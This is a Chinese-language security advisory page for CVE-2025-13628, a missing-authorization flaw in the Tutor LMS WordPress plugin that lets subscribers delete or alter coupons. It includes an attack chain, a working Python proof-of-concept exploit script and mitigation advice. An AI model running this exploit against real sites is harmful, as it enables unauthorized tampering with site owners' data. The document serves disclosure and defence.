IPBUF安全漏洞报告
English
CVE-2025-13628 CVSS 4.3 中危

CVE-2025-13628 Tutor LMS 权限绕过漏洞

披露日期: 2026-01-09

漏洞信息

漏洞编号
CVE-2025-13628
漏洞类型
权限绕过/不安全的直接对象引用(IDOR)
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Tutor LMS WordPress Plugin

相关标签

WordPress插件漏洞权限绕过IDORTutor LMS优惠券管理缺少授权检查CVE-2025-13628中等严重程度在线课程平台

漏洞概述

Tutor LMS是一款流行的WordPress在线课程和学习管理系统插件。该插件在3.9.3及之前版本中存在严重的权限绕过漏洞,源于两个关键函数bulk_action_handler和coupon_permanent_delete缺少权限检查。攻击者仅需拥有WordPress订阅者(subscriber)级别的账户即可利用此漏洞,对任意优惠券进行未授权的删除、激活、停用或移至回收站操作。这使得低权限用户能够操控系统中的优惠券数据,可能导致业务逻辑混乱、促销活动中断,甚至可能通过删除关键优惠券影响网站运营。该漏洞的CVSS评分为4.3,属于中等严重程度,但由于攻击复杂度低且无需特殊用户交互,对使用该插件的网站构成实质性威胁。

技术细节

漏洞根源在于Tutor LMS插件的CouponController.php文件中,bulk_action_handler和coupon_permanent_delete两个函数未对用户权限进行验证。在WordPress的权限体系中,subscriber角色默认只有阅读权限,不应具备管理优惠券的能力。然而,由于这两个函数缺少current_user_can()或类似权限检查调用,任何已认证用户都可以直接调用这些函数。攻击者可通过构造特定的HTTP请求,指定目标优惠券ID和期望的操作类型(如delete、activate、deactivate、trash),服务器将直接执行相应操作而不会验证请求者是否具有管理该优惠券的权限。这属于典型的Insecure Direct Object Reference (IDOR)漏洞,攻击者利用可预测的对象标识符绕过授权检查访问或修改他人资源。修复版本3.9.4已在这些函数入口处添加了适当的权限验证逻辑。

攻击链分析

STEP 1
步骤1
攻击者获取WordPress订阅者账户:攻击者注册一个普通用户账户,该账户默认只有subscriber角色,仅具备阅读内容的权限
STEP 2
步骤2
识别目标优惠券:攻击者通过浏览网站前端或使用自动化工具枚举系统中存在的优惠券ID
STEP 3
步骤3
构造恶意请求:攻击者构造指向wp-admin/admin-ajax.php的AJAX请求,包含action参数指向tutor_bulk_action_handler或tutor_coupon_permanent_delete
STEP 4
步骤4
发送攻击载荷:攻击者将目标优惠券ID和期望的操作类型(如delete、activate、deactivate、trash)作为请求参数发送
STEP 5
步骤5
绕过权限验证:由于目标函数缺少current_user_can()权限检查,服务器直接执行请求的操作,无需验证用户是否有权管理该优惠券
STEP 6
步骤6
完成未授权操作:优惠券被成功删除、激活、停用或移至回收站,攻击者实现对任意优惠券的操控

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys from urllib.parse import urljoin # CVE-2025-13628 PoC - Tutor LMS Authorization Bypass # Affected: Tutor LMS <= 3.9.3 def exploit_coupon_deletion(target_url, coupon_id, action='delete'): """ Exploit unauthorized coupon manipulation via missing capability check. Args: target_url: Target WordPress site URL coupon_id: ID of coupon to manipulate action: Operation to perform (delete, activate, deactivate, trash) """ session = requests.Session() # Login as subscriber (low-privilege user) login_url = urljoin(target_url, 'wp-login.php') login_data = { 'log': 'subscriber_username', 'pwd': 'subscriber_password', 'wp-submit': 'Log In', 'redirect_to': target_url } login_response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies: print('[-] Login failed') return False print('[+] Login successful as subscriber') # Exploit the authorization bypass exploit_url = urljoin(target_url, 'wp-admin/admin-ajax.php') # Method 1: bulk_action_handler exploitation exploit_data = { 'action': 'tutor_bulk_action_handler', 'bulk_action': action, 'coupon_ids[]': coupon_id } response = session.post(exploit_url, data=exploit_data) if response.status_code == 200: print(f'[+] Coupon {coupon_id} {action} request sent') # Method 2: coupon_permanent_delete exploitation (for deletion) if action == 'delete': delete_data = { 'action': 'tutor_coupon_permanent_delete', 'coupon_id': coupon_id } delete_response = session.post(exploit_url, data=delete_data) print(f'[+] Permanent delete request sent for coupon {coupon_id}') return True if __name__ == '__main__': if len(sys.argv) < 3: print(f'Usage: python {sys.argv[0]} <target_url> <coupon_id>') print('Example: python exploit.py http://target.com/ 123') sys.exit(1) target = sys.argv[1] coupon_id = sys.argv[2] exploit_coupon_deletion(target, coupon_id, 'delete')

影响范围

Tutor LMS <= 3.9.3

防御指南

临时缓解措施
如果无法立即升级,可临时采取以下措施:1) 限制新用户注册功能,防止攻击者获取订阅者账户;2) 使用WordPress安全插件(如Wordfence)添加IP限制或速率限制;3) 暂时禁用优惠券功能模块;4) 审查并移除不必要的用户账户,特别是权限较高的管理员账户;5) 启用Web应用防火墙(WAF)规则检测异常的AJAX请求模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表